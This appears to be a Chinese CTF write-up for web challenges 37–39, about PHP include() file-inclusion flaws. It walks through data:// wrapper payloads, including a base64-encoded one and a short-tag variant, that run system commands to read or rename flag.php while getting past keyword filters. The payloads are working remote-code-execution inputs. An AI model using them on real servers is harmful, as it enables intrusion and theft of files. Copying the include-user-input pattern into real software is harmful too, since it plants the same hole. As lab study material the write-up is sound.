web37
打开题目,有效代码:
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__);
题目提示是:flag in flag.php,这里与之前的题目不同的是,eval函数换成了include文件包含函数,且过滤了flag,这里可以用一种伪协议:
PHP伪协议data://
data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。
四种方式:
/?c=data://text/plain,<?php system("tac fla*.php")?>
/?c=data://text/plain,<?php system("mv fla?.php 1.txt")?>
/?c=data://text/plain,<?php system("nl fla*")?>
/?c=data://text/palin;base64,PD9waHAgc3lzdGVtKCJubCBmbGEqIik7Pz4=
web38
过滤内容变成:flag|php|file,
第一种方式我们可以用37题目中的第4种方式,通过base64加密,绕过过滤;
第二种方式是使用短标签:
/?c=data://text/plain,<?= system(“mv fla?.php 1.txt”)?>
我们把php换成=,这个叫短标签,我们可以测试一下短标签有没有开启,然后我们在访问1.txt即可得到flag。
web39
打开题目,有效代码:
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c.".php"); } }else{ highlight_file(__FILE__);
通过后缀限制了include,但是可以使用data伪协议,在本题中输入原文php代码,因为php代码已经闭合,故拼接的“.php”就以文本形式显示,
/?c=data://text/plain,<?php system("nl fla*")?>